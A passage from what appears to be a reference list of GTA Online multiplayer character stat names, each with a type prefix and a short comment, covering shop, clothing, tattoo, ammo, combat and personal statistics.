+(int)SHOPFM_TATTOO_06_GOH // Add MP0_ or MP1_ // MP Char 0 - Shop Data +(int)SHOPFM_GUN_01_DT // Add MP0_ or MP1_ // MP Char 0 - Shop Data +(int)SHOPFM_GUN_02_SS // Add MP0_ or MP1_ // MP Char 0 - Shop Data +(int)SHOPFM_GUN_03_HW // Add MP0_ or MP1_ // MP Char 0 - Shop Data +(int)SHOPFM_GUN_04_ELS // Add MP0_ or MP1_ // MP Char 0 - Shop Data +(int)SHOPFM_GUN_05_PB // Add MP0_ or MP1_ // MP Char 0 - Shop Data +(int)SHOPFM_GUN_06_LS // Add MP0_ or MP1_ // MP Char 0 - Shop Data +(int)SHOPFM_GUN_07_MW // Add MP0_ or MP1_ // MP Char 0 - Shop Data +(int)SHOPFM_GUN_08_CS // Add MP0_ or MP1_ // MP Char 0 - Shop Data +(int)SHOPFM_GUN_09_GOH // Add MP0_ or MP1_ // MP Char 0 - Shop Data +(int)SHOPFM_GUN_10_VWH // Add MP0_ or MP1_ // MP Char 0 - Shop Data +(int)SHOPFM_GUN_11_ID1 // Add MP0_ or MP1_ // MP Char 0 - Shop Data +(int)SHOPFM_CARMOD_01_AP // Add MP0_ or MP1_ // MP Char 0 - Shop Data +(int)SHOPFM_CARMOD_02_ID // Add MP0_ or MP1_ // MP Char 0 - Shop Data +(int)SHOPFM_CARMOD_03_HW // Add MP0_ or MP1_ // MP Char 0 - Shop Data +(int)SHOPFM_CARMOD_04_DT // Add MP0_ or MP1_ // MP Char 0 - Shop Data +(int)SHOPFM_CARMOD_05_ID2 // Add MP0_ or MP1_ // MP Char 0 - Shop Data +(int)SHOPFM_CARMOD_06_BT1 // Add MP0_ or MP1_ // MP Char 0 - Shop Data +(int)SHOPFM_CARMOD_07_CS1 // Add MP0_ or MP1_ // MP Char 0 - Shop Data +(int)SHOPFM_CARMOD_08_CS6 // Add MP0_ or MP1_ // MP Char 0 - Shop Data + + + +(int)CLTHS_AVAILABLE_HAIR // Add MP0_ or MP1_ // MP Char 0 - Clothes Available +(int)CLTHS_AVAILABLE_HAIR_1 // Add MP0_ or MP1_ // MP Char 0 - Clothes Available +(int)CLTHS_AVAILABLE_HAIR_2 // Add MP0_ or MP1_ // MP Char 0 - Clothes Available +(int)CLTHS_AVAILABLE_HAIR_3 // Add MP0_ or MP1_ // MP Char 0 - Clothes Available +(int)CLTHS_AVAILABLE_HAIR_4 // Add MP0_ or MP1_ // MP Char 0 - Clothes Available +(int)CLTHS_AVAILABLE_HAIR_5 // Add MP0_ or MP1_ // MP Char 0 - Clothes Available +(int)CLTHS_AVAILABLE_HAIR_6 // Add MP0_ or MP1_ // MP Char 0 - Clothes Available +(int)CLTHS_AVAILABLE_HAIR_7 // Add MP0_ or MP1_ // MP Char 0 - Clothes Available + +(int)CLTHS_AVAILABLE_JBIB // Add MP0_ or MP1_ // MP Char 0 - Clothes Available +(int)CLTHS_AVAILABLE_JBIB_1 // Add MP0_ or MP1_ // MP Char 0 - Clothes Available +(int)CLTHS_AVAILABLE_JBIB_2 // Add MP0_ or MP1_ // MP Char 0 - Clothes Available +(int)CLTHS_AVAILABLE_JBIB_3 // Add MP0_ or MP1_ // MP Char 0 - Clothes Available +(int)CLTHS_AVAILABLE_JBIB_4 // Add MP0_ or MP1_ // MP Char 0 - Clothes Available +(int)CLTHS_AVAILABLE_JBIB_5 // Add MP0_ or MP1_ // MP Char 0 - Clothes Available +(int)CLTHS_AVAILABLE_JBIB_6 // Add MP0_ or MP1_ // MP Char 0 - Clothes Available +(int)CLTHS_AVAILABLE_JBIB_7 // Add MP0_ or MP1_ // MP Char 0 - Clothes Available + +(int)CLTHS_AVAILABLE_LEGS // Add MP0_ or MP1_ // MP Char 0 - Clothes Available +(int)CLTHS_AVAILABLE_LEGS_1 // Add MP0_ or MP1_ // MP Char 0 - Clothes Available +(int)CLTHS_AVAILABLE_LEGS_2 // Add MP0_ or MP1_ // MP Char 0 - Clothes Available +(int)CLTHS_AVAILABLE_LEGS_3 // Add MP0_ or MP1_ // MP Char 0 - Clothes Available +(int)CLTHS_AVAILABLE_LEGS_4 // Add MP0_ or MP1_ // MP Char 0 - Clothes Available +(int)CLTHS_AVAILABLE_LEGS_5 // Add MP0_ or MP1_ // MP Char 0 - Clothes Available +(int)CLTHS_AVAILABLE_LEGS_6 // Add MP0_ or MP1_ // MP Char 0 - Clothes Available +(int)CLTHS_AVAILABLE_LEGS_7 // Add MP0_ or MP1_ // MP Char 0 - Clothes Available + +(int)CLTHS_AVAILABLE_FEET // Add MP0_ or MP1_ // MP Char 0 - Clothes Available +(int)CLTHS_AVAILABLE_FEET_1 // Add MP0_ or MP1_ // MP Char 0 - Clothes Available +(int)CLTHS_AVAILABLE_FEET_2 // Add MP0_ or MP1_ // MP Char 0 - Clothes Available +(int)CLTHS_AVAILABLE_FEET_3 // Add MP0_ or MP1_ // MP Char 0 - Clothes Available +(int)CLTHS_AVAILABLE_FEET_4 // Add MP0_ or MP1_ // MP Char 0 - Clothes Available +(int)CLTHS_AVAILABLE_FEET_5 // Add MP0_ or MP1_ // MP Char 0 - Clothes Available +(int)CLTHS_AVAILABLE_FEET_6 // Add MP0_ or MP1_ // MP Char 0 - Clothes Available +(int)CLTHS_AVAILABLE_FEET_7 // Add MP0_ or MP1_ // MP Char 0 - Clothes Available + +(int)CLTHS_AVAILABLE_BERD // Add MP0_ or MP1_ // MP Char 0 - Clothes Available +(int)CLTHS_AVAILABLE_BERD_1 // Add MP0_ or MP1_ // MP Char 0 - Clothes Available +(int)CLTHS_AVAILABLE_BERD_2 // Add MP0_ or MP1_ // MP Char 0 - Clothes Available +(int)CLTHS_AVAILABLE_BERD_3 // Add MP0_ or MP1_ // MP Char 0 - Clothes Available +(int)CLTHS_AVAILABLE_BERD_4 // Add MP0_ or MP1_ // MP Char 0 - Clothes Available +(int)CLTHS_AVAILABLE_BERD_5 // Add MP0_ or MP1_ // MP Char 0 - Clothes Available +(int)CLTHS_AVAILABLE_BERD_6 // Add MP0_ or MP1_ // MP Char 0 - Clothes Available +(int)CLTHS_AVAILABLE_BERD_7 // Add MP0_ or MP1_ // MP Char 0 - Clothes Available + +(int)CLTHS_AVAILABLE_PROPS // Add MP0_ or MP1_ // MP Char 0 - Clothes Available +(int)CLTHS_AVAILABLE_PROPS_1 // Add MP0_ or MP1_ // MP Char 0 - Clothes Available +(int)CLTHS_AVAILABLE_PROPS_2 // Add MP0_ or MP1_ // MP Char 0 - Clothes Available +(int)CLTHS_AVAILABLE_PROPS_3 // Add MP0_ or MP1_ // MP Char 0 - Clothes Available +(int)CLTHS_AVAILABLE_PROPS_4 // Add MP0_ or MP1_ // MP Char 0 - Clothes Available +(int)CLTHS_AVAILABLE_PROPS_5 // Add MP0_ or MP1_ // MP Char 0 - Clothes Available +(int)CLTHS_AVAILABLE_PROPS_6 // Add MP0_ or MP1_ // MP Char 0 - Clothes Available +(int)CLTHS_AVAILABLE_PROPS_7 // Add MP0_ or MP1_ // MP Char 0 - Clothes Available +(int)CLTHS_AVAILABLE_PROPS_8 // Add MP0_ or MP1_ // MP Char 0 - Clothes Available +(int)CLTHS_AVAILABLE_PROPS_9 // Add MP0_ or MP1_ // MP Char 0 - Clothes Available +(int)CLTHS_AVAILABLE_PROPS_10 // Add MP0_ or MP1_ // MP Char 0 - Clothes Available + +(int)CLTHS_AVAILABLE_OUTFIT // Add MP0_ or MP1_ // MP Char 0 - Clothes Available + + +(int)CLTHS_ACQUIRED_HAIR // Add MP0_ or MP1_ // MP Char 0 - Clothes Acquired +(int)CLTHS_ACQUIRED_HAIR_1 // Add MP0_ or MP1_ // MP Char 0 - Clothes Acquired +(int)CLTHS_ACQUIRED_HAIR_2 // Add MP0_ or MP1_ // MP Char 0 - Clothes Acquired +(int)CLTHS_ACQUIRED_HAIR_3 // Add MP0_ or MP1_ // MP Char 0 - Clothes ACQUIRED +(int)CLTHS_ACQUIRED_HAIR_4 // Add MP0_ or MP1_ // MP Char 0 - Clothes ACQUIRED +(int)CLTHS_ACQUIRED_HAIR_5 // Add MP0_ or MP1_ // MP Char 0 - Clothes ACQUIRED +(int)CLTHS_ACQUIRED_HAIR_6 // Add MP0_ or MP1_ // MP Char 0 - Clothes ACQUIRED +(int)CLTHS_ACQUIRED_HAIR_7 // Add MP0_ or MP1_ // MP Char 0 - Clothes ACQUIRED + +(int)CLTHS_ACQUIRED_JBIB // Add MP0_ or MP1_ // MP Char 0 - Clothes Acquired +(int)CLTHS_ACQUIRED_JBIB_1 // Add MP0_ or MP1_ // MP Char 0 - Clothes Acquired +(int)CLTHS_ACQUIRED_JBIB_2 // Add MP0_ or MP1_ // MP Char 0 - Clothes Acquired +(int)CLTHS_ACQUIRED_JBIB_3 // Add MP0_ or MP1_ // MP Char 0 - Clothes Acquired +(int)CLTHS_ACQUIRED_JBIB_4 // Add MP0_ or MP1_ // MP Char 0 - Clothes Acquired +(int)CLTHS_ACQUIRED_JBIB_5 // Add MP0_ or MP1_ // MP Char 0 - Clothes Acquired +(int)CLTHS_ACQUIRED_JBIB_6 // Add MP0_ or MP1_ // MP Char 0 - Clothes Acquired +(int)CLTHS_ACQUIRED_JBIB_7 // Add MP0_ or MP1_ // MP Char 0 - Clothes Acquired + +(int)CLTHS_ACQUIRED_LEGS // Add MP0_ or MP1_ // MP Char 0 - Clothes Acquired +(int)CLTHS_ACQUIRED_LEGS_1 // Add MP0_ or MP1_ // MP Char 0 - Clothes Acquired +(int)CLTHS_ACQUIRED_LEGS_2 // Add MP0_ or MP1_ // MP Char 0 - Clothes Acquired +(int)CLTHS_ACQUIRED_LEGS_3 // Add MP0_ or MP1_ // MP Char 0 - Clothes Acquired +(int)CLTHS_ACQUIRED_LEGS_4 // Add MP0_ or MP1_ // MP Char 0 - Clothes Acquired +(int)CLTHS_ACQUIRED_LEGS_5 // Add MP0_ or MP1_ // MP Char 0 - Clothes Acquired +(int)CLTHS_ACQUIRED_LEGS_6 // Add MP0_ or MP1_ // MP Char 0 - Clothes Acquired +(int)CLTHS_ACQUIRED_LEGS_7 // Add MP0_ or MP1_ // MP Char 0 - Clothes Acquired + +(int)CLTHS_ACQUIRED_FEET // Add MP0_ or MP1_ // MP Char 0 - Clothes Acquired +(int)CLTHS_ACQUIRED_FEET_1 // Add MP0_ or MP1_ // MP Char 0 - Clothes Acquired +(int)CLTHS_ACQUIRED_FEET_2 // Add MP0_ or MP1_ // MP Char 0 - Clothes Acquired +(int)CLTHS_ACQUIRED_FEET_3 // Add MP0_ or MP1_ // MP Char 0 - Clothes Acquired +(int)CLTHS_ACQUIRED_FEET_4 // Add MP0_ or MP1_ // MP Char 0 - Clothes Acquired +(int)CLTHS_ACQUIRED_FEET_5 // Add MP0_ or MP1_ // MP Char 0 - Clothes Acquired +(int)CLTHS_ACQUIRED_FEET_6 // Add MP0_ or MP1_ // MP Char 0 - Clothes Acquired +(int)CLTHS_ACQUIRED_FEET_7 // Add MP0_ or MP1_ // MP Char 0 - Clothes Acquired + +(int)CLTHS_ACQUIRED_BERD // Add MP0_ or MP1_ // MP Char 0 - Clothes Acquired +(int)CLTHS_ACQUIRED_BERD_1 // Add MP0_ or MP1_ // MP Char 0 - Clothes ACQUIRED +(int)CLTHS_ACQUIRED_BERD_2 // Add MP0_ or MP1_ // MP Char 0 - Clothes ACQUIRED +(int)CLTHS_ACQUIRED_BERD_3 // Add MP0_ or MP1_ // MP Char 0 - Clothes ACQUIRED +(int)CLTHS_ACQUIRED_BERD_4 // Add MP0_ or MP1_ // MP Char 0 - Clothes ACQUIRED +(int)CLTHS_ACQUIRED_BERD_5 // Add MP0_ or MP1_ // MP Char 0 - Clothes ACQUIRED +(int)CLTHS_ACQUIRED_BERD_6 // Add MP0_ or MP1_ // MP Char 0 - Clothes ACQUIRED +(int)CLTHS_ACQUIRED_BERD_7 // Add MP0_ or MP1_ // MP Char 0 - Clothes ACQUIRED + +(int)CLTHS_ACQUIRED_PROPS // Add MP0_ or MP1_ // MP Char 0 - Clothes Acquired +(int)CLTHS_ACQUIRED_PROPS_1 // Add MP0_ or MP1_ // MP Char 0 - Clothes Acquired +(int)CLTHS_ACQUIRED_PROPS_2 // Add MP0_ or MP1_ // MP Char 0 - Clothes Acquired +(int)CLTHS_ACQUIRED_PROPS_3 // Add MP0_ or MP1_ // MP Char 0 - Clothes Acquired +(int)CLTHS_ACQUIRED_PROPS_4 // Add MP0_ or MP1_ // MP Char 0 - Clothes Acquired +(int)CLTHS_ACQUIRED_PROPS_5 // Add MP0_ or MP1_ // MP Char 0 - Clothes Acquired +(int)CLTHS_ACQUIRED_PROPS_6 // Add MP0_ or MP1_ // MP Char 0 - Clothes Acquired +(int)CLTHS_ACQUIRED_PROPS_7 // Add MP0_ or MP1_ // MP Char 0 - Clothes Acquired +(int)CLTHS_ACQUIRED_PROPS_8 // Add MP0_ or MP1_ // MP Char 0 - Clothes Acquired +(int)CLTHS_ACQUIRED_PROPS_9 // Add MP0_ or MP1_ // MP Char 0 - Clothes Acquired +(int)CLTHS_ACQUIRED_PROPS_10 // Add MP0_ or MP1_ // MP Char 0 - Clothes ACQUIRED + +(int)CLTHS_ACQUIRED_OUTFIT // Add MP0_ or MP1_ // MP Char 0 - Clothes Acquired + + +(int)CLTHS_USED_HAIR // Add MP0_ or MP1_ // MP Char 0 - Clothes Used +(int)CLTHS_USED_HAIR_1 // Add MP0_ or MP1_ // MP Char 0 - Clothes Used +(int)CLTHS_USED_HAIR_2 // Add MP0_ or MP1_ // MP Char 0 - Clothes Used +(int)CLTHS_USED_HAIR_3 // Add MP0_ or MP1_ // MP Char 0 - Clothes USED +(int)CLTHS_USED_HAIR_4 // Add MP0_ or MP1_ // MP Char 0 - Clothes USED +(int)CLTHS_USED_HAIR_5 // Add MP0_ or MP1_ // MP Char 0 - Clothes USED +(int)CLTHS_USED_HAIR_6 // Add MP0_ or MP1_ // MP Char 0 - Clothes USED +(int)CLTHS_USED_HAIR_7 // Add MP0_ or MP1_ // MP Char 0 - Clothes USED + +(int)CLTHS_USED_JBIB // Add MP0_ or MP1_ // MP Char 0 - Clothes Used +(int)CLTHS_USED_JBIB_1 // Add MP0_ or MP1_ // MP Char 0 - Clothes Used +(int)CLTHS_USED_JBIB_2 // Add MP0_ or MP1_ // MP Char 0 - Clothes Used +(int)CLTHS_USED_JBIB_3 // Add MP0_ or MP1_ // MP Char 0 - Clothes Used +(int)CLTHS_USED_JBIB_4 // Add MP0_ or MP1_ // MP Char 0 - Clothes Used +(int)CLTHS_USED_JBIB_5 // Add MP0_ or MP1_ // MP Char 0 - Clothes Used +(int)CLTHS_USED_JBIB_6 // Add MP0_ or MP1_ // MP Char 0 - Clothes Used +(int)CLTHS_USED_JBIB_7 // Add MP0_ or MP1_ // MP Char 0 - Clothes Used + +(int)CLTHS_USED_LEGS // Add MP0_ or MP1_ // MP Char 0 - Clothes Used +(int)CLTHS_USED_LEGS_1 // Add MP0_ or MP1_ // MP Char 0 - Clothes Used +(int)CLTHS_USED_LEGS_2 // Add MP0_ or MP1_ // MP Char 0 - Clothes Used +(int)CLTHS_USED_LEGS_3 // Add MP0_ or MP1_ // MP Char 0 - Clothes Used +(int)CLTHS_USED_LEGS_4 // Add MP0_ or MP1_ // MP Char 0 - Clothes Used +(int)CLTHS_USED_LEGS_5 // Add MP0_ or MP1_ // MP Char 0 - Clothes Used +(int)CLTHS_USED_LEGS_6 // Add MP0_ or MP1_ // MP Char 0 - Clothes Used +(int)CLTHS_USED_LEGS_7 // Add MP0_ or MP1_ // MP Char 0 - Clothes Used + +(int)CLTHS_USED_FEET // Add MP0_ or MP1_ // MP Char 0 - Clothes Used +(int)CLTHS_USED_FEET_1 // Add MP0_ or MP1_ // MP Char 0 - Clothes Used +(int)CLTHS_USED_FEET_2 // Add MP0_ or MP1_ // MP Char 0 - Clothes Used +(int)CLTHS_USED_FEET_3 // Add MP0_ or MP1_ // MP Char 0 - Clothes Used +(int)CLTHS_USED_FEET_4 // Add MP0_ or MP1_ // MP Char 0 - Clothes Used +(int)CLTHS_USED_FEET_5 // Add MP0_ or MP1_ // MP Char 0 - Clothes Used +(int)CLTHS_USED_FEET_6 // Add MP0_ or MP1_ // MP Char 0 - Clothes Used +(int)CLTHS_USED_FEET_7 // Add MP0_ or MP1_ // MP Char 0 - Clothes Used + +(int)CLTHS_USED_BERD // Add MP0_ or MP1_ // MP Char 0 - Clothes Used +(int)CLTHS_USED_BERD_1 // Add MP0_ or MP1_ // MP Char 0 - Clothes USED +(int)CLTHS_USED_BERD_2 // Add MP0_ or MP1_ // MP Char 0 - Clothes USED +(int)CLTHS_USED_BERD_3 // Add MP0_ or MP1_ // MP Char 0 - Clothes USED +(int)CLTHS_USED_BERD_4 // Add MP0_ or MP1_ // MP Char 0 - Clothes USED +(int)CLTHS_USED_BERD_5 // Add MP0_ or MP1_ // MP Char 0 - Clothes USED +(int)CLTHS_USED_BERD_6 // Add MP0_ or MP1_ // MP Char 0 - Clothes USED +(int)CLTHS_USED_BERD_7 // Add MP0_ or MP1_ // MP Char 0 - Clothes USED + +(int)CLTHS_USED_PROPS // Add MP0_ or MP1_ // MP Char 0 - Clothes Used +(int)CLTHS_USED_PROPS_1 // Add MP0_ or MP1_ // MP Char 0 - Clothes Used +(int)CLTHS_USED_PROPS_2 // Add MP0_ or MP1_ // MP Char 0 - Clothes Used +(int)CLTHS_USED_PROPS_3 // Add MP0_ or MP1_ // MP Char 0 - Clothes Used +(int)CLTHS_USED_PROPS_4 // Add MP0_ or MP1_ // MP Char 0 - Clothes Used +(int)CLTHS_USED_PROPS_5 // Add MP0_ or MP1_ // MP Char 0 - Clothes Used +(int)CLTHS_USED_PROPS_6 // Add MP0_ or MP1_ // MP Char 0 - Clothes Used +(int)CLTHS_USED_PROPS_7 // Add MP0_ or MP1_ // MP Char 0 - Clothes Used +(int)CLTHS_USED_PROPS_8 // Add MP0_ or MP1_ // MP Char 0 - Clothes Used +(int)CLTHS_USED_PROPS_9 // Add MP0_ or MP1_ // MP Char 0 - Clothes Used +(int)CLTHS_USED_PROPS_10 // Add MP0_ or MP1_ // MP Char 0 - Clothes USED + +(int)CLTHS_USED_OUTFIT // Add MP0_ or MP1_ // MP Char 0 - Clothes Used + + +(float)HEADBLEND_OVER_BLEMISH_PC // Add MP0_ or MP1_ // MP Char 0 - Head Blend Overlay Texture +(float)HEADBLEND_OVERLAY_BEARD_PC // Add MP0_ or MP1_ // MP Char 0 - Head Blend Overlay Texture +(float)HEADBLEND_OVERLAY_EYEBRW_PC // Add MP0_ or MP1_ // MP Char 0 - Head Blend Overlay Texture +(float)HEADBLEND_OVERLAY_WETHR_PC // Add MP0_ or MP1_ // MP Char 0 - Head Blend Overlay Texture +(float)HEADBLEND_OVERLAY_MAKEUP_PC // Add MP0_ or MP1_ // MP Char 0 - Head Blend Overlay Texture +(float)HEADBLEND_OVERLAY_DAMAGE_PC // Add MP0_ or MP1_ // MP Char 0 - Head Blend Overlay Texture +(float)HEADBLEND_OVERLAY_BASE_PC // Add MP0_ or MP1_ // MP Char 0 - Head Blend Overlay Texture +(float)HEADBLEND_GEOM_BLEND // Add MP0_ or MP1_ // MP Char 0 - Head Blend Geometry Blend +(float)HEADBLEND_TEX_BLEND // Add MP0_ or MP1_ // MP Char 0 - Head Blend Texture Blend +(float)HEADBLEND_VAR_BLEND // Add MP0_ or MP1_ // MP Char 0 - Head Blend Variation Blend +(float)HEADBLEND_DOM // Add MP0_ or MP1_ // MP Char 0 - Head Blend Parent Dominance + +(int)CHAR_CREATOR_SLEEP // Add MP0_ or MP1_ // MP Char 0 - Head Blend Sleep Value +(int)CHAR_CREATOR_FAMILY // Add MP0_ or MP1_ // MP Char 0 - Head Blend Family Value +(int)CHAR_CREATOR_SPORT // Add MP0_ or MP1_ // MP Char 0 - Head Blend Sport Value +(int)CHAR_CREATOR_LEGAL // Add MP0_ or MP1_ // MP Char 0 - Head Blend Legal Value +(int)CHAR_CREATOR_TV // Add MP0_ or MP1_ // MP Char 0 - Head Blend TV Value +(int)CHAR_CREATOR_PARTY // Add MP0_ or MP1_ // MP Char 0 - Head Blend Party Value +(int)CHAR_CREATOR_ILLEGAL // Add MP0_ or MP1_ // MP Char 0 - Head Blend Illegal Value + +(int)TATTOO_FM_UNLOCKS_0 // Add MP0_ or MP1_ // MP Char 0 - Unlocked Tattoos 0 +(int)TATTOO_FM_UNLOCKS_1 // Add MP0_ or MP1_ // MP Char 0 - Unlocked Tattoos 1 +(int)TATTOO_FM_UNLOCKS_2 // Add MP0_ or MP1_ // MP Char 0 - Unlocked Tattoos 2 +(int)TATTOO_FM_UNLOCKS_3 // Add MP0_ or MP1_ // MP Char 0 - Unlocked Tattoos 3 +(int)TATTOO_FM_UNLOCKS_4 // Add MP0_ or MP1_ // MP Char 0 - Unlocked Tattoos 4 + +(int)TATTOO_FM_VIEWED_0 // Add MP0_ or MP1_ // MP Char 0 - Viewed Tattoos 0 +(int)TATTOO_FM_VIEWED_1 // Add MP0_ or MP1_ // MP Char 0 - Viewed Tattoos 1 +(int)TATTOO_FM_VIEWED_2 // Add MP0_ or MP1_ // MP Char 0 - Viewed Tattoos 2 +(int)TATTOO_FM_VIEWED_3 // Add MP0_ or MP1_ // MP Char 0 - Viewed Tattoos 3 +(int)TATTOO_FM_VIEWED_4 // Add MP0_ or MP1_ // MP Char 0 - Viewed Tattoos 4 + +(int)TATTOO_FM_CURRENT_0 // Add MP0_ or MP1_ // MP Char 0 - Current Tattoos 0 +(int)TATTOO_FM_CURRENT_1 // Add MP0_ or MP1_ // MP Char 0 - Current Tattoos 1 +(int)TATTOO_FM_CURRENT_2 // Add MP0_ or MP1_ // MP Char 0 - Current Tattoos 2 +(int)TATTOO_FM_CURRENT_3 // Add MP0_ or MP1_ // MP Char 0 - Current Tattoos 3 +(int)TATTOO_FM_CURRENT_4 // Add MP0_ or MP1_ // MP Char 0 - Current Tattoos 4 +(int)TATTOO_FM_CURRENT_5 // Add MP0_ or MP1_ // MP Char 0 - Current Tattoos 4 + +(int)HEADBLEND_DAD_HAIR // Add MP0_ or MP1_ // MP Char 0 - Head Blend Texture Blend +(int)HEADBLEND_MUM_HAIR // Add MP0_ or MP1_ // MP Char 0 - Head Blend Variation Blend +(int)HEADBLEND_DAD_BEARD // Add MP0_ or MP1_ // MP Char 0 - Head Blend Texture Blend +(int)HEADBLEND_MUM_MAKEUP // Add MP0_ or MP1_ // MP Char 0 - Head Blend Variation Blend +(int)HEADBLEND_DAD_HAIR_TEX // Add MP0_ or MP1_ // MP Char 0 - Head Blend Texture Blend +(int)HEADBLEND_MUM_HAIR_TEX // Add MP0_ or MP1_ // MP Char 0 - Head Blend Variation Blend +(int)HEADBLEND_DAD_BEARD_TEX // Add MP0_ or MP1_ // MP Char 0 - Head Blend Texture Blend +(int)HEADBLEND_MUM_MAKEUP_TEX // Add MP0_ or MP1_ // MP Char 0 - Head Blend Variation Blend +(int)HEADBLEND_DAD_EYEB // Add MP0_ or MP1_ // MP Char 0 - Head Blend Dads Eyebrow +(int)HEADBLEND_MUM_EYEB // Add MP0_ or MP1_ // MP Char 0 - Head Blend Mums Eyebrow + + +(int)AMMO_USED_PISTOLS // Add MP0_ or MP1_ // MP char 0 - Ammo used for weapon group pistols +(int)AMMO_USED_SHOTGUNS // Add MP0_ or MP1_ // MP char 0 - Ammo used for weapon group shotgun +(int)AMMO_USED_SMGS // Add MP0_ or MP1_ // MP char 0 - Ammo used for weapon group SMGS +(int)AMMO_USED_SNIPERS // Add MP0_ or MP1_ // MP char 0 - Ammo used for weapon group Snipers +(int)AMMO_USED_RIFLES // Add MP0_ or MP1_ // MP char 0 - Ammo used for weapon group Rifles +(int)AMMO_USED_THROWN // Add MP0_ or MP1_ // MP char 0 - Ammo used for weapon group Thrown +(int)AMMO_USED_HEAVY // Add MP0_ or MP1_ // MP char 0 - Ammo used for weapon group Heavy +(int)AMMO_PURCHASED_PISTOLS // Add MP0_ or MP1_ // MP char 0 - Ammo bought for weapon group pistols +(int)AMMO_PURCHASED_SHOTGUNS // Add MP0_ or MP1_ // MP char 0 - Ammo bought for weapon group shotgun +(int)AMMO_PURCHASED_SMGS // Add MP0_ or MP1_ // MP char 0 - Ammo bought for weapon group SMGS +(int)AMMO_PURCHASED_SNIPERS // Add MP0_ or MP1_ // MP char 0 - Ammo bought for weapon group Snipers +(int)AMMO_PURCHASED_RIFLES // Add MP0_ or MP1_ // MP char 0 - Ammo bought for weapon group Rifles +(int)AMMO_PURCHASED_THROWN // Add MP0_ or MP1_ // MP char 0 - Ammo bought for weapon group Thrown +(int)AMMO_PURCHASED_HEAVY // Add MP0_ or MP1_ // MP char 0 - Ammo bought for weapon group Heavy + +(u64)CHAR_WANTED_LEVEL_TIME // Add MP0_ or MP1_ // MP Char 0 - Wanted Level Time +(u64)CHAR_WANTED_LEVEL_TIME5STAR // Add MP0_ or MP1_ // MP Char 0 - Wanted Level Time +(u64)CHAR_FM_RACE_RECORD_TIMES // Add MP0_ or MP1_ // MP Char 0 - Wanted Level Time + +(int)HIGHEST_NO_MULTIPLE_KILLS // Add MP0_ or MP1_ // MP Char 0 - COMBAT - Highest number of Miltiple Kills (x kills in x seconds) +(int)TOTAL_NO_DISABLED // Add MP0_ or MP1_ // MP Char 0 - COMBAT - Total number of times disabled + +(int)TOTAL_NO_WEAPONS_USED // Add MP0_ or MP1_ // MP Char 0 - COMBAT - Total number of weapons used +(u64)AV_TIME_COMPLETE_MISSIONS // Add MP0_ or MP1_ // MP Char 0 - MISSIONS -Average time taken to complete mission(Total time on missions/ total time in game) +(int)SUICIDES // Add MP0_ or MP1_ // MP Char 0 - PERSONAL -Total number of times player commited suicide + +(int)NO_PHOTOS_TAKEN // Add MP0_ or MP1_ // MP Char 0 - PERSONAL -Total number of photos taken + +(int)NO_OF_OUTFITS // Add MP0_ or MP1_ // MP Char 0 - PERSONAL -Total number of outfits +(int)PROSTITUTES_FREQUENTED // Add MP0_ or MP1_ // MP Char 0 - PERSONAL -Total number of prostitutes frequented +(int)LAP_DANCED_BOUGHT // Add MP0_ or MP1_ // MP Char 0 - PERSONAL -Total number of lap dances bought + +(int)NO_KILLS_DURING_MISSION // Add MP0_ or MP1_ // MP Char 0 - PERSONAL -Total Kills during missions +(int)MOST_ARM_WRESTLING_WINS // Add MP0_ or MP1_ // MP Char 0 - PERSONAL -Record of most arm wrestling wins in one arm wrestling sesson +(int)FASTEST_ARM_WRESTLING_WIN // Add MP0_ or MP1_ // MP Char 0 - PERSONAL -Record of fastest arm wrestling win + +(int)MOST_REVENGE_KILL_GLOBAL // Add MP0_ or MP1_ // MP Char 0 - PERSONAL -Number of silent kills +(int)MOST_REVENGE_KILL_LOCAL // Add MP0_ or MP1_ // MP Char 0 - PERSONAL -Number of silent kills +(userid)BIGGEST_VICTIM // Add MP0_ or MP1_ // MP Char 0 - PERSONAL -Number of silent kills +(userid)ARCHENEMY // Add MP0_ or MP1_ // MP Char 0 - PERSONAL -Number of silent kills +(string)BIGGEST_VICTIM_NAME // Add MP0_ or MP1_ // MP Char 0 - PERSONAL -Number of silent kills +(string)ARCHENEMY_NAME // Add MP0_ or MP1_ // MP Char 0 - PERSONAL -Number of silent kills + + +(int)BIGGEST_VICTIM_KILLS // Add MP0_ or MP1_ // MP Char 0 - PERSONAL -Number of silent kills +(int)ARCHENEMY_KILLS // Add MP0_ or MP1_ // MP Char 0 - PERSONAL -Number of silent kills + + +(int)CIGARETTES_BOUGHT // Add MP0_ or MP1_ // MP Char 0 - PERSONAL -Number of silent kills + + + + +(bool)CL_RACE_MODDED_CAR // Add MP0_ or MP1_ // MP Char 0 - Rank Apparel Unlock bitset 0 +(bool)CL_DRIVE_RALLY // Add MP0_ or MP1_ // MP Char 0 - Rank Apparel Unlock bitset 0 +(bool)CL_PLAY_GTA_RACE // Add MP0_ or MP1_ // MP Char 0 - Rank Apparel Unlock bitset 0 +(bool)CL_PLAY_BOAT_RACE // Add MP0_ or MP1_ // MP Char 0 - Rank Apparel Unlock bitset 0 +(bool)CL_PLAY_FOOT_RACE // Add MP0_ or MP1_ // MP Char 0 - Rank Apparel Unlock bitset 0 +(bool)CL_PLAY_TEAM_DM // Add MP0_ or MP1_ // MP Char 0 - Rank Apparel Unlock bitset 0 +(bool)CL_PLAY_VEHICLE_DM // Add MP0_ or MP1_ // MP Char 0 - Rank Apparel Unlock bitset 0 +(bool)CL_PLAY_MISSION_CONTACT // Add MP0_ or MP1_ // MP Char 0 - Rank Apparel Unlock bitset 0 +(int)CRHEIST // Add MP0_ or MP1_ // MP Char 0 - Stores how many times the player has started mission script +(bool)CL_PLAY_A_PLAYLIST // Add MP0_ or MP1_ // MP Char 0 - Stores how many times the player has started mission script +(bool)CL_PLAY_POINT_TO_POINT // Add MP0_ or MP1_ // MP Char 0 - Stores how many times the player has started mission script +(bool)CL_PLAY_ONE_ON_ONE_DM // Add MP0_ or MP1_ // MP Char 0 - Stores how many times the player has started mission script +(bool)CL_PLAY_ONE_ON_ONE_RACE // Add MP0_ or MP1_ // MP Char 0 - Stores how many times the player has started mission script + + +(bool)CL_SURV_A_BOUNTY // Add MP0_ or MP1_ // MP Char 0 - Stores how many times the player has started mission script + +(bool)CL_SET_WANTED_LVL_ON_PLAY // Add MP0_ or MP1_ // MP Char 0 - Stores how many times the player has started mission script +(bool)CL_GANG_BACKUP_GANGS // Add MP0_ or MP1_ // MP Char 0 - Stores how many times the player has started mission script +(bool)CL_GANG_BACKUP_LOST // Add MP0_ or MP1_ // MP Char 0 - Stores how many times the player has started mission script +(bool)CL_GANG_BACKUP_VAGOS // Add MP0_ or MP1_ // MP Char 0 - Stores how many times the player has started mission script +(bool)CL_CALL_MERCENARIES // Add 